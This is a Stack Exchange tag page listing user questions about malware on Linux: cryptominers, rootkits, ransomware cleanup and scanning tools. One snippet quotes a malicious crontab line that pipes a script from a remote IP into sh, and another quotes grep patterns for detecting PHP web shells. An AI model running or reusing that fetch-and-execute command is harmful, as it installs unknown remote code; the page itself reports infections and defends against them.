Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [malware]

The tag has no usage guidance.

0
votes
1answer
76 views

A strange process called “watchbog” is hogging my entire CPU and I can't get rid of it [closed]

This process that has come out of nowhere is hogging my CPU and I have no clue what it is or how to get rid of it. You can see in the image below what it's doing: What is this process? How can I get ...
0
votes
3answers
95 views

Threats found in /dev/fd

While trying to make sure I have no threats on my iMac I used Bitdefender to perform a full scan and I found this Output of running ls -la in /dev/fd: ls -la total 11 dr-xr-xr-x 1 root ...
1
vote
0answers
34 views

Access firmware from terminal? [closed]

I have a 2008 MacBook I bought new and have used up until a few months ago with leopard and snow leopard install disks. After many strange occurrences I decided to erase and reinstall my OS. After ...
1
vote
0answers
90 views

Is Linux able to perform any kind of Measured Boot?

Some Linux-distro's support Secure Boot. (These distro's use a 1st-stage bootloader signed by Microsoft.) Is Linux (without any additional modules) able or is there any Linux-distro out there that is ...
0
votes
0answers
28 views

Can I write a script to keypress ctrl z or ctrl c for me? What is /e[3J?

Hello I want a bash script that will stop other running scripts. I may prevent the scripts by renaming sudo and test for example but I was also wondering if a CTRL +Z loop would effect other terminal ...
0
votes
1answer
40 views

How is source code reviewed/audited, prior to inclusion in linux mainline?

An answer to this question would provide insight and references about how the linux kernel source code is reviewed prior to be released? Particular interesting aspect of this question to me are: Who ...
2
votes
1answer
218 views

How to check an AUR package for malicious code?

Malicious code has been found and deleted later from 3 AUR packages acroread, blaz and minergate (e,g: acroread PKGBUILD detail). It was found in a commit released by a malicious user by changing the ...
0
votes
0answers
213 views

stop spammer attack over postfix/dovecot

I've got a server with postfix/dovecot which is somehow being attacked. I constantly see huge amount of logs like this (replaced my domain by example.com): Jul 2 10:03:03 my-server postfix/pickup[...
0
votes
0answers
17 views

How can attempts to create or modify on th local file system file and get a file via the web from a specific address be monitored in real-time?

My web server got hacked and after not being able to tell what executable it was running I inquired as to how to detect the file name, which I asked about earlier at How can I diagnose a process which ...
3
votes
1answer
154 views

process keeps on starting

On a VPS that I use, somehow I got a little annoying miner. (I'm not root) 15109 ? Z 0:00 [sh] <defunct> 15134 ? Ssl 0:03 [] 15160 ? S 0:00 ./5DiaEd75 ./...
3
votes
2answers
1k views

bash: /var/log/rkhunter.log: Permission denied (as root - Linux Mint 18.3)

I think my Linux laptop has been hacked, for three reasons: Whenever I saved files into the Home folder, the files wouldn't appear - not even in the other folders on my computer. An unfamiliar .txt ...
2
votes
2answers
88 views

Switching from Win10 to Linux: AV, defrag, disk cleanup tools, etc [closed]

I installed Linux Mint on my desktop in place of Windows 10. I am used to having virus/malware Scanners, defragmenters, Disk Clean up tools etc. I was wondering if people here would be able to ...
2
votes
1answer
428 views

Mixed case DNS requests - Malware in my network?

I am seeing some strange DNS queries. They have seemingly random mixed case coming from machines in my network. Is it possible I have malware? $ sudo tcpdump -n port 53 16:42:57.805038 192.168.5.134....
2
votes
2answers
111 views

How can I tell if Comcast is blocking access to an IP? [closed]

I have a site hosted on CentOS 7, part of an A2 Hosting environment. Although I can access my site (http://68.66.205.103/) on my phone and an AT&T ISP, I can't access it from a Comcast ISP or my ...
7
votes
2answers
738 views

rmdir failed to remove empty directory

I have a problem with removing empty dir, strace shows error: rmdir("empty_dir") = -1 ENOTEMPTY (Directory not empty) And ls -la empty_dir shows nothing. So i connected to the fs (ext4) with debugfs ...
0
votes
1answer
26 views

cd fails when trying to enter maldetect version-agnostic directory

I'm installing Maldet on Debian 9.3: cd /usr/local/src wget http://www.rfxn.com/downloads/maldetect-current.tar.gz tar -xzvf maldetect-current.tar.gz cd maldetect-* bash ./install.sh While doing cd ...
1
vote
1answer
308 views

Which process places a red circle to the bottom right corner of my display on Linux Mint 18.1?

Some days ago that widget appeared on screen and I have no idea how to remove it and how did it came to my system. Not taken by screenshots. I suggest it is malware. Any ideas?
22
votes
2answers
5k views

How can I kill minerd malware on an AWS EC2 instance? (compromised server)

I found malware on my ec2 instance which was continuously mining bitcoin and using my instance processing power. I successfully identified the process, but was unable to remove and kill it. I ran ...
-1
votes
2answers
85 views

Securing files against malware [closed]

Let's say, somehow a malware is present on your filesystem (e.g : BusyWinman Malware). How would you secure your files against being transfered by such a malware to somewhere else? Please, describe ...
0
votes
1answer
218 views

Gnome-pty-helper as a virus? [closed]

I asked this question and accepted the answer, where gnome-pty-helper was identified as a compromise of some sort. This is the link to the binary file. How can I find out what was accessed on the ...
0
votes
1answer
94 views

Will mounting sda6 to run rkhunter allow the malware to become active?

I think I've got malware on my laptop. You see, I got suspicious disc activity after accessing a dodgey website. So I'm going to run rkhunter on the laptop from a live knoppix USB stick. My linux ...
0
votes
1answer
45 views

Scan Website Data For Malicious Code & Injections [closed]

I want to scan a website's complete data, what's most authentic & user friendly tool for that on linux? Suggest me command line utilites please.
10
votes
2answers
822 views

how does fileless malware work on linux?

I understand the definition of fileless malware: Malicious code that is not file based but exists in memory only… More particularly, fileless malicious code … appends itself to an active ...
0
votes
1answer
244 views

Why are my crontab user files immutable and doesn't get executed even after changing attribute to mutable?

In a means to suppress a malware that created a crontab entry below, II introduced the usage of cron.deny */5 * * * * curl -fsSL http://62.109.20.220:38438/start.sh|sh However, all user crontabs ...
2
votes
1answer
557 views

How to remove Linux.MulDrop.14?

My son's Raspberry PI is infected with Linux.MulDrop.14. Can anyone post steps to remove it? I am working on it but am not quite there yet.
1
vote
1answer
341 views

How to secure Raspberry-Pie controlled over SSH against the Linux.MulDrop.14 malware?

The Dr.Web has recently discovered a new linux malware called Linux.MulDrop.14 , targeting rpi with raspbian OS. Linux.MulDrop.14 Linux Trojan that is a bash script containing a mining ...
3
votes
0answers
315 views

Why does pepperflashplayer have almost 50 ports open?

So, I was messing around with netstat to learn more about addressing when I decided to run it on my local machine and see what processes were holding open ports. I came across this... tcp 0 ...
0
votes
2answers
630 views

Why maldet is not sending report as a mail?

Postfix is running. I am trying to send maldet report as a mail but it gives me an error I don't know why? [root@do ~]# maldet --report 170321-0115.21534 xxx@xxx.com Linux Malware Detect v1.6 ...
3
votes
2answers
2k views

Something is renaming php files to .php.suspected; I'm trying to find out what

Related: https://serverfault.com/questions/748417/something-renames-files-to-filename-ext-suspected https://stackoverflow.com/questions/32835796/php-file-automatically-renamed-to-php-suspected I ...
4
votes
1answer
2k views

How does Wikileaks' Vault 7 affect Linux? [closed]

Wikileaks recently released a trove of information regarding the CIA's hacking abilities. This has been dubbed "Vault 7". This includes targeting of Linux systems. Apple has apparently previously ...
3
votes
3answers
121 views

How is it possible to know whether my computer has been infected by a Macro Virus?

Today, I have received a new doc. document and wanted to open it using LibreOffice (Version 5.1.6.2). The following Warning Message was displayed: "This document contains macros. Macros may contain ...
-2
votes
1answer
331 views

Windows anti-virus and anti-malware available on Linux? [closed]

In relation to scanning a Windows partition for malware I see that both AVG and Avast install on Linux painlessly. Is there a full list of free-as-in-beer Windows anti-virus, or general anti-malware ...
1
vote
1answer
766 views

how do I scan the windows partition for malware?

Hopefully, not too broad of a question. For Windows 10, I was considering dual booting at least for the purposes of malware detection and removal. While AVG, and probably others, offer live rescue ...
0
votes
2answers
3k views

can unetbootin create UEFI bootable rescue disk on USB?

How do I run unetbootin from a non-UEFI system so that the Kaspersky rescue disk on USB it creates will work under UEFI boot for Windows 10? I don't want alter the boot configuration on the windows ...
2
votes
3answers
266 views

Remove recursively double extension added by “stupid” Crypt0L0cker ransomware

I'm trying to recover some file from a Windows archive affected by a "stupid" Crypt0L0cker ransomware. In fact, after a quick check moving files to my own system, it seems that the malware just added ...
0
votes
1answer
397 views

Global multiline search & replace

I have a server with thousands of files containing a multi-line pattern that I want to globally find & replace. Here's a sample of the pattern: <div class="fusion-header-sticky-height">&...
-6
votes
2answers
480 views

Locky ransomware removal [closed]

My internet provider informed me that my computer is infected with Locky Ransomware. I have Linux Ubuntu. How to remove virus or scan system?
-2
votes
1answer
110 views

Detect malware that recreates files in /usr/bin with a backdoor

I had VPS server and it has been hacked. and has been install a backdoor program always listen so prots and it operate whole / directory Now I use inotifywait can see the virus program always delete ...
0
votes
1answer
246 views

Explain Malware-finding function in bash

I've just spotted in .bash_history file lines below: grep -iHlnr 'filesman' *2> /dev/null grep -iHlnr 'eval.*base64_decode' *2> /dev/null From Google I know that is something like 'malware ...
3
votes
1answer
192 views

How to find out which particular e-mail in Thunderbird/Icedove that contains malware Doc.Dropper.Agent-1552723 pointed out by Clamscan?

Today I ran a clamscan -ri / and got some positives for some malware. Most are in the "spam" folder, so that's no problem. But one is among my saved e-mails: /home/user/.icedove/bfa059u1.default/...
3
votes
0answers
327 views

Theoric: How to kill a forever forking process?

Let's say you have a process that forks every time it has the chance. It launches itself in niceness -20, so it forks faster than you can kill it. Also, it remembers its childrens and it parents, so ...
1
vote
0answers
120 views

Spamassassin spam score and block configuration?

I've searched in the community and Google for this topic. There hasn't been a precise answer. I wanted to see the spam scores in the mail.log or syslog for Spamassassin running on my Linux server. It ...
0
votes
1answer
338 views

Suspicious traffic in nethogs on fresh install

Earlier today google said that unusual traffic was emanating from my computer and gave me a captcha. I got curious and installed nethogs. Everything appears normal except for an unknown program ...
1
vote
1answer
156 views

is my newly setup mail server on my laptop hacked?

I have just installed postfix on Arch Linux. I am following Arch wiki to set aliases to set following line in /etc/postfix/aliases root: edward after this I ran postalias /etc/postfix/aliases and ...
1
vote
0answers
76 views

Is the reader's linux '/usr/bin/mkdir' file larger than 53504 bytes? Has the reader got a virus?

I installed Fedora 19, and immediately listed the /usr/bin directory and saved the listing to a file. 4 hours later I list it again and all the executables have grown in size by about 1668 bytes. '...
0
votes
1answer
92 views

Does virus VBS Jenxcus affect Linux operating system? [closed]

Recently I connected to my linux a pendrive infected with VBS Jenxcus. Did it affect my operating system?
0
votes
2answers
2k views

Can I remove “Linux/Ebury Operation Windigo” without wiping the entire drive?

I used chkrootkit, which told me that I had "Linux/Ebury Operation Windigo" installed, I doubled checked by running ssh -G which printed out usage, without "illegal option". I removed all ssh files ...
0
votes
6answers
2k views

Linux Mint: I'm infected with a rootkit

I tried logging in to my admin account and it said password incorrect. There is no way it could have been incorrect since I copy-pasted it from a usb drive. I reset my password, installed chkrootkit ...
30
votes
8answers
3k views

Can malware run by a user without admin or sudo privileges harm my system? [closed]

After a recent break in on a machine running Linux, I found an executable file in the home folder of a user with a weak password. I have cleaned up what appears to be all the damage, but am preparing ...
2
votes
0answers
166 views

What is the command erepc? Is this malware?

I noticed that my system was running slower than normal so I ran a top command. Hogging a ton of my CPU was a process called erepc that I can find no information on. PID USER PR NI VIRT ...